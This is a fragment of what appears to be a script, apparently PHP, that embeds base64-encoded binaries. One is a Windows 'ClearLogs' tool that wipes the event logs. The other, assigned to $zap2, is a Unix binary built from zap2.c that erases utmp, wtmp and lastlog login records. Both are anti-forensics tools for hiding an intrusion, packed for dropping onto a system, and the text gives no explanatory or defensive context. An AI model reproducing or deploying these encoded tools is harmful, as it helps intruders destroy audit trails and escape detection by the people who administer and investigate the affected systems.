AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAACiBAABQ2QAAAAAAAAAAAAK8gQAAAAAAAAAAAAAAAAAAAAAAA
U3VjY2VzczogVGhlIGxvZyBoYXMgYmVlbiBjbGVhcmVkCgAARXJyb3I6IFVuYWJsZSB0byBjbGVh
ciBsb2cgLSAAAAAlcwoARXJyb3I6IFVuYWJsZSB0byBvcGVuIGxvZyAtIAAAAAAgICAgICAgIC1z
eXMgPSBzeXN0ZW0gbG9nCgAAICAgICAgICAtc2VjID0gc2VjdXJpdHkgbG9nCgAAAAAgICAgICAg
IC1hcHAgPSBhcHBsaWNhdGlvbiBsb2cKACBVc2FnZTogY2xlYXJsb2dzIFtcXGNvbXB1dGVybmFt
ZV0gPC1hcHAgLyAtc2VjIC8gLXN5cz4KCgAAAFN5c3RlbQAALXN5cwAAAABTZWN1cml0eQAAAAAt
c2VjAAAAAEFwcGxpY2F0aW9uAC1hcHAAAAAAICAgICAgICAgICAgICAtIGh0dHA6Ly9udHNlY3Vy
aXR5Lm51L3Rvb2xib3gvY2xlYXJsb2dzLwoKAAAAQ2xlYXJMb2dzIDEuMCAtIChjKSAyMDAyLCBB
cm5lIFZpZHN0cm9tIChhcm5lLnZpZHN0cm9tQG50c2VjdXJpdHkubnUpCgAACgAAAA4UQAABAAAA
OFFAAChRQADAcUAAAAAAAMBxQAABAQAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAB
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAABQAAwAsAAAAAAAAAHQAAwAQAAAAAAAAAlgAAwAQAAAAAAAAA
jQAAwAgAAAAAAAAAjgAAwAgAAAAAAAAAjwAAwAgAAAAAAAAAkAAAwAgAAAAAAAAAkQAAwAgAAAAA
AAAAkgAAwAgAAAAAAAAAkwAAwAgAAAAAAAAAAwAAAAcAAAAKAAAAjAAAAP////8ACgAAEAAAACAF
kxkAAAAAAAAAAAAAAAAAAAAAAgAAAKRTQAAIAAAAeFNAAAkAAABMU0AACgAAAChTQAAQAAAA/FJA
ABEAAADMUkAAEgAAAKhSQAATAAAAfFJAABgAAABEUkAAGQAAABxSQAAaAAAA5FFAABsAAACsUUAA
HAAAAIRRQAB4AAAAdFFAAHkAAABkUUAAegAAAFRRQAD8AAAAUFFAAP8AAABAUUAAAAAAAAAAAABW
REAAVkRAAFZEQABWREAAVkRAAFZEQADiZUAA4mVAAAAAIAAgACAAIAAgACAAIAAgACAAKAAoACgA
KAAoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQ
ABAAEAAQABAAEAAQABAAhACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEAgQCBAIEA
gQCBAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAQABAAEAAQABAAEACC
AIIAggCCAIIAggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAEAAQABAA
EAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAECBAgAAAAApAMA
AGCCeYIhAAAAAAAAAKbfAAAAAAAAoaUAAAAAAACBn+D8AAAAAEB+gPwAAAAAqAMAAMGj2qMgAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAACB/gAAAAAAAED+AAAAAAAAtQMAAMGj2qMgAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAACB/gAAAAAAAEH+AAAAAAAAtgMAAM+i5KIaAOWi6KJbAAAAAAAAAAAAAAAAAAAA
AACB/gAAAAAAAEB+of4AAAAAUQUAAFHaXtogAF/aatoyAAAAAAAAAAAAAAAAAAAAAACB09je4PkA
ADF+gf4AAAAAAAAAAAAAAAD4AwAAAQAAAC4AAAABAAAAAQAAABYAAAACAAAAAgAAAAMAAAACAAAA
BAAAABgAAAAFAAAADQAAAAYAAAAJAAAABwAAAAwAAAAIAAAADAAAAAkAAAAMAAAACgAAAAcAAAAL
AAAACAAAAAwAAAAWAAAADQAAABYAAAAPAAAAAgAAABAAAAANAAAAEQAAABIAAAASAAAAAgAAACEA
AAANAAAANQAAAAIAAABBAAAADQAAAEMAAAACAAAAUAAAABEAAABSAAAADQAAAFMAAAANAAAAVwAA
ABYAAABZAAAACwAAAGwAAAANAAAAbQAAACAAAABwAAAAHAAAAHIAAAAJAAAABgAAABYAAACAAAAA
CgAAAIEAAAAKAAAAggAAAAkAAACDAAAAFgAAAIQAAAANAAAAkQAAACkAAACeAAAADQAAAKEAAAAC
AAAApAAAAAsAAACnAAAADQAAALcAAAARAAAAzgAAAAIAAADXAAAACwAAABgHAAAMAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA==";
$zap2="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAcIQECDQAAABEDAAAAAAAADQAIAAHACgAGwAYAAYAAAA0
AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEA
AAABAAAAAAAAAACABAgAgAQIowkAAKMJAAAFAAAAABAAAAEAAACkCQAApJkECKSZBAgoAQAAMAEA
AAYAAAAAEAAAAgAAALQJAAC0mQQItJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQI
IAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1s
aW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAABQAAAAMAAAAOAAAADQAAAAwA
AAALAAAAAAAAAAAAAAABAAAAAAAAAAAAAAADAAAABAAAAAUAAAAGAAAAAgAAAAkAAAAIAAAABwAA
AAoAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAB8AAAAEgAAAGcAAAAAAAAAcQAAABIAAABbAAAA
AAAAAB0AAAASAAAAKQAAAAAAAACsAAAAEgAAAEkAAAAAAAAA1QAAABIAAAALAAAAAAAAACkAAAAS
AAAAEgAAAAAAAAA8AAAAEgAAAGIAAAAAAAAAfAAAABIAAAAYAAAAAAAAADAAAAASAAAAMQAAAAAA
AAD/AAAAEgAAADoAAABgiQQIBAAAABEADgAkAAAAAAAAAHwAAAASAAAAbQAAAAAAAAAAAAAAIAAA
AABsaWJjLnNvLjYAcHJpbnRmAGxzZWVrAGJ6ZXJvAHdyaXRlAHJlYWQAc3RybmNtcABnZXRwd25h
bQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBzdHJsZW4Ab3BlbgBjbG9zZQBfX2dt
b25fc3RhcnRfXwBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAEAAgAAAAAAAQABAAEA
AAAQAAAAAAAAABBpaQ0AAAIAfAAAAAAAAADImgQIBg0AAJyaBAgHAQAAoJoECAcCAACkmgQIBwMA
AKiaBAgHBAAArJoECAcFAACwmgQIBwYAALSaBAgHBwAAuJoECAcIAAC8mgQIBwkAAMCaBAgHCgAA
xJoECAcMAABVieWD7Ajo8QAAAOhMAQAA6G8FAADJwwD/NZSaBAj/JZiaBAgAAAAA/yWcmgQIaAAA
AADp4P////8loJoECGgIAAAA6dD/////JaSaBAhoEAAAAOnA/////yWomgQIaBgAAADpsP////8l
rJoECGggAAAA6aD/////JbCaBAhoKAAAAOmQ/////yW0mgQIaDAAAADpgP////8luJoECGg4AAAA
6XD/////JbyaBAhoQAAAAOlg/////yXAmgQIaEgAAADpUP////8lxJoECGhQAAAA6UD///8x7V6J
4YPk8FBUUmjYiAQIaJCIBAhRVmgaiAQI6G/////0kJBVieVT6AAAAABbgcPzFQAAUIuDOAAAAIXA
dAL/0Itd/MnDkJBVieWD7AiAPcyaBAgAdSmhrJkECIsQhdJ0F4n2g8AEo6yZBAj/0qGsmQQIixCF
0nXrxgXMmgQIAcnDifZVieWD7AihjJoECIXAdBm4AAAAAIXAdBCD7AxojJoECOjnevv3g8QQycOQ
kFWJ5YHsiAEAAIPsCGoCaGSJBAjo+P7//4PEEKPQmgQIgz3QmgQIAA+IsgAAAIPsBGiAAQAAjYV4
/v//UP810JoECOj5/v//g8QQhcB/Aut+g+wM/3UI6GX+//+DxBCJwo2FeP7//4PALIPsBFL/dQhQ
6Fr+//+DxBCFwHWwg+wIaIABAACNhXj+//9Q6I/+//+DxBCD7ARqAWiA/v///zXQmgQI6Ff+//+D
xBCD7ARogAEAAI2FeP7//1D/NdCaBAjo2v3//4PEEOlf////g+wM/zXQmgQI6NT9//+DxBDJw1WJ
5YHsmAEAAMeFdP7//wEAAACD7AhqAmhuiQQI6A3+//+DxBCj0JoECIM90JoECAAPiBMBAACDvXT+
////dQXp9AAAAIPsBGoCi5V0/v//idDR4AHQweAH99hQ/zXQmgQI6Lj9//+DxBCD7ARogAEAAI2F
eP7//1D/NdCaBAjo2/3//4PEEIXAeQzHhXT+////////66CD7Az/dQjoPf3//4PEEInCjYV4/v//
g8Asg+wEUv91CFDoMv3//4PEEIXAdWiD7AhogAEAAI2FeP7//1DoZ/3//4PEEIPsBGoCi5V0/v//
idDR4AHQweAH99hQ/zXQmgQI6CL9//+DxBCD7ARogAEAAI2FeP7//1D/NdCaBAjopfz//4PEEMeF
dP7////////pC////42FdP7///8A6f7+//+D7Az/NdCaBAjoiPz//4PEEMnDVYnlgexIAQAAg+wM
/3UI6O/8//+DxBCJRfSDffQAD4SUAAAAg+wIagJofIkECOiw/P//g8QQo9CaBAiDPdCaBAgAD4iD
AAAAg+wEagCLRfSLUAiJ0MHgAwHQweADAdDB4AJQ/zXQmgQI6GX8//+DxBCD7AhoJAEAAI2FuP7/
/1Dobvz//4PEEIPsBGgkAQAAjYW4/v//UP810JoECOjR+///g8QQg+wM/zXQmgQI6ND7//+DxBDr
E4PsCP91CGiNiQQI6Pv7//+DxBDJw1WJ5YPsCIPk8LgAAAAAKcSDfQgCdUuD7AyLRQyDwAT/MOgN
////g8QQg+wMi0UMg8AE/zDorv3//4PEEIPsDItFDIPABP8w6Lr8//+DxBCD7AxolIkECOia+///
g8QQ6xCD7Axom4kECOiI+///g8QQycOQkJBVieVXVlOD7AzoAAAAAFuBw/IRAADo7vr//42TFP//
/42LFP///ynKMfbB+gI51nMPideQ/5SzFP///0Y5/nL0g8QMW15fycNVieVWU+gAAAAAW4HDrhEA
AI2LFP///42DFP///ynBwfkChcmNcf91C+g6AAAAW17Jw4n2/5SzFP///4nyToXSdfLr5VWJ5VNS
oXyaBAiD+P+7fJoECHQMg+sE/9CLA4P4/3X0WFvJw1WJ5VPoAAAAAFuBw0cRAABS6GL7//+LXfzJ
wwADAAAAAQACAC9ldGMvdXRtcAAvdXNyL2FkbS93dG1wAC91c3IvYWRtL2xhc3Rsb2cAJXM6ID8K
AFphcDIhCgBFcnJvci4KAAAAAAAAAAAAAIiaBAgAAAAAAQAAAAEAAAAMAAAAmIMECA0AAABAiQQI
BAAAAEiBBAgFAAAAdIIECAYAAACUgQQICgAAAIYAAAALAAAAEAAAABUAAAAAAAAAAwAAAJCaBAgC
AAAAWAAAABQAAAARAAAAFwAAAECDBAgRAAAAOIMECBIAAAAIAAAAEwAAAAgAAAD+//9vGIMECP//
/28BAAAA8P//b/qCBAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAD/////AAAAAP////8AAAAAAAAAALSZBAgAAAAAAAAAAMaDBAjWgwQI5oMECPaDBAgGhAQI
FoQECCaEBAg2hAQIRoQECFaEBAhmhAQIAAAAAABHQ0M6IChHTlUpIDMuMy4zIChyZWxlYXNlKQAA
R0NDOiAoR05VKSAzLjMuMyAocmVsZWFzZSkAAEdDQzogKEdOVSkgMy4zLjMgKHJlbGVhc2UpAABH
Q0M6IChHTlUpIDMuMy4zIChyZWxlYXNlKQAAR0NDOiAoR05VKSAzLjMuMyAocmVsZWFzZSkAAEdD
QzogKEdOVSkgMy4zLjMgKHJlbGVhc2UpAAAuc3ltdGFiAC5zdHJ0YWIALnNoc3RydGFiAC5pbnRl
cnAALm5vdGUuQUJJLXRhZwAuaGFzaAAuZHluc3ltAC5keW5zdHIALmdudS52ZXJzaW9uAC5nbnUu
dmVyc2lvbl9yAC5yZWwuZHluAC5yZWwucGx0AC5pbml0AC50ZXh0AC5maW5pAC5yb2RhdGEALmRh
dGEALmVoX2ZyYW1lAC5keW5hbWljAC5jdG9ycwAuZHRvcnMALmpjcgAuZ290AC5ic3MALmNvbW1l
bnQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGwAAAAEAAAACAAAA
FIEECBQBAAATAAAAAAAAAAAAAAABAAAAAAAAACMAAAAHAAAAAgAAACiBBAgoAQAAIAAAAAAAAAAA
AAAABAAAAAAAAAAxAAAABQAAAAIAAABIgQQISAEAAEwAAAAEAAAAAAAAAAQAAAAEAAAANwAAAAsA
AAACAAAAlIEECJQBAADgAAAABQAAAAEAAAAEAAAAEAAAAD8AAAADAAAAAgAAAHSCBAh0AgAAhgAA
AAAAAAAAAAAAAQAAAAAAAABHAAAA////bwIAAAD6ggQI+gIAABwAAAAEAAAAAAAAAAIAAAACAAAA
VAAAAP7//28CAAAAGIMECBgDAAAgAAAABQAAAAEAAAAEAAAAAAAAAGMAAAAJAAAAAgAAADiDBAg4
AwAACAAAAAQAAAAAAAAABAAAAAgAAABsAAAACQAAAAIAAABAgwQIQAMAAFgAAAAEAAAACwAAAAQA
AAAIAAAAdQAAAAEAAAAGAAAAmIMECJgDAAAXAAAAAAAAAAAAAAAEAAAAAAAAAHAAAAABAAAABgAA
ALCDBAiwAwAAwAAAAAAAAAAAAAAABAAAAAQAAAB7AAAAAQAAAAYAAABwhAQIcAQAANAEAAAAAAAA
AAAAAAQAAAAAAAAAgQAAAAEAAAAGAAAAQIkECEAJAAAbAAAAAAAAAAAAAAAEAAAAAAAAAIcAAAAB
AAAAAgAAAFyJBAhcCQAARwAAAAAAAAAAAAAABAAAAAAAAACPAAAAAQAAAAMAAACkmQQIpAkAAAwA
AAAAAAAAAAAAAAQAAAAAAAAAlQAAAAEAAAACAAAAsJkECLAJAAAEAAAAAAAAAAAAAAAEAAAAAAAA
AJ8AAAAGAAAAAwAAALSZBAi0CQAAyAAAAAUAAAAAAAAABAAAAAgAAACoAAAAAQAAAAMAAAB8mgQI
fAoAAAgAAAAAAAAAAAAAAAQAAAAAAAAArwAAAAEAAAADAAAAhJoECIQKAAAIAAAAAAAAAAAAAAAE
AAAAAAAAALYAAAABAAAAAwAAAIyaBAiMCgAABAAAAAAAAAAAAAAABAAAAAAAAAC7AAAAAQAAAAMA
AACQmgQIkAoAADwAAAAAAAAAAAAAAAQAAAAEAAAAwAAAAAgAAAADAAAAzJoECMwKAAAIAAAAAAAA
AAAAAAAEAAAAAAAAAMUAAAABAAAAAAAAAAAAAADMCgAAqAAAAAAAAAAAAAAAAQAAAAAAAAARAAAA
AwAAAAAAAAAAAAAAdAsAAM4AAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAIAAAAAAAAAAAAAAHwQAAAg
BQAAGgAAACsAAAAEAAAAEAAAAAkAAAADAAAAAAAAAAAAAACcFQAA9gIAAAAAAAAAAAAAAQAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAABSBBAgAAAAAAwABAAAAAAAogQQIAAAAAAMAAgAAAAAASIEE
CAAAAAADAAMAAAAAAJSBBAgAAAAAAwAEAAAAAAB0ggQIAAAAAAMABQAAAAAA+oIECAAAAAADAAYA
AAAAABiDBAgAAAAAAwAHAAAAAAA4gwQIAAAAAAMACAAAAAAAQIMECAAAAAADAAkAAAAAAJiDBAgA
AAAAAwAKAAAAAACwgwQIAAAAAAMACwAAAAAAcIQECAAAAAADAAwAAAAAAECJBAgAAAAAAwANAAAA
AABciQQIAAAAAAMADgAAAAAApJkECAAAAAADAA8AAAAAALCZBAgAAAAAAwAQAAAAAAC0mQQIAAAA
AAMAEQAAAAAAfJoECAAAAAADABIAAAAAAISaBAgAAAAAAwATAAAAAACMmgQIAAAAAAMAFAAAAAAA
kJoECAAAAAADABUAAAAAAMyaBAgAAAAAAwAWAAAAAAAAAAAAAAAAAAMAFwAAAAAAAAAAAAAAAAAD
ABgAAAAAAAAAAAAAAAAAAwAZAAAAAAAAAAAAAAAAAAMAGgABAAAAlIQECAAAAAACAAwAEQAAAAAA
AAAAAAAABADx/xwAAAB8mgQIAAAAAAEAEgAqAAAAhJoECAAAAAABABMAOAAAAIyaBAgAAAAAAQAU
AEUAAACsmQQIAAAAAAEADwBJAAAAzJoECAEAAAABABYAVQAAALiEBAgAAAAAAgAMAGsAAAD0hAQI
AAAAAAIADAARAAAAAAAAAAAAAAAEAPH/dwAAAICaBAgAAAAAAQASAIQAAACImgQIAAAAAAEAEwCR
AAAAsJkECAAAAAABABAAnwAAAIyaBAgAAAAAAQAUAKsAAAAciQQIAAAAAAIADADBAAAAAAAAAAAA
AAAEAPH/yAAAALSZBAgAAAAAEQARANEAAADQmgQIBAAAABEAFgDTAAAAAAAAAHwAAAASAAAA5AAA
AAAAAABxAAAAEgAAAPUAAABciQQIBAAAABEADgD8AAAApJkECAAAAAAQAvH/DQEAACCFBAjhAAAA
EgAMABcBAAComQQIAAAAABECDwAkAQAA2IgECEQAAAASAAwANAEAAJiDBAgAAAAAEgAKADoBAABw
hAQIAAAAABIADABBAQAAAAAAAB0AAAASAAAAUwEAAAAAAACsAAAAEgAAAGYBAACkmQQIAAAAABAC
8f95AQAAkIgECEgAAAASAAwAiQEAAMyaBAgAAAAAEADx/5UBAAAaiAQIcwAAABIADACaAQAAAAAA
ANUAAAASAAAAtwEAAKSZBAgAAAAAEALx/8gBAACkmQQIAAAAACAADwDTAQAAAAAAACkAAAASAAAA
5QEAAECJBAgAAAAAEgANAOsBAAAAAAAAPAAAABIAAAD8AQAApJkECAAAAAAQAvH/EAIAAAAAAAB8
AAAAEgAAACACAAAAAAAAMAAAABIAAAAxAgAAAAAAAP8AAAASAAAARQIAAMyaBAgAAAAAEADx/0wC
AACQmgQIAAAAABEAFQBiAgAA1JoECAAAAAAQAPH/ZwIAAKSZBAgAAAAAEALx/3oCAABgiQQIBAAA
ABEADgCJAgAAAYYECEwBAAASAAwAkwIAAKSZBAgAAAAAEAAPAKACAAAAAAAAAAAAACAAAAC0AgAA
pJkECAAAAAAQAvH/ygIAAAAAAAB8AAAAEgAAANoCAABNhwQIzQAAABIADADnAgAAAAAAAAAAAAAg
AAAAAGNhbGxfZ21vbl9zdGFydABjcnRzdHVmZi5jAF9fQ1RPUl9MSVNUX18AX19EVE9SX0xJU1Rf
XwBfX0pDUl9MSVNUX18AcC4wAGNvbXBsZXRlZC4xAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eABmcmFt
ZV9kdW1teQBfX0NUT1JfRU5EX18AX19EVE9SX0VORF9fAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5E
X18AX19kb19nbG9iYWxfY3RvcnNfYXV4AHphcDIuYwBfRFlOQU1JQwBmAHdyaXRlQEBHTElCQ18y
LjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAX19maW5pX2FycmF5X2VuZABraWxsX3V0bXAAX19k
c29faGFuZGxlAF9fbGliY19jc3VfZmluaQBfaW5pdABfc3RhcnQAc3RybGVuQEBHTElCQ18yLjAA
c3RybmNtcEBAR0xJQkNfMi4wAF9fZmluaV9hcnJheV9zdGFydABfX2xpYmNfY3N1X2luaXQAX19i
c3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAF9faW5pdF9hcnJheV9l
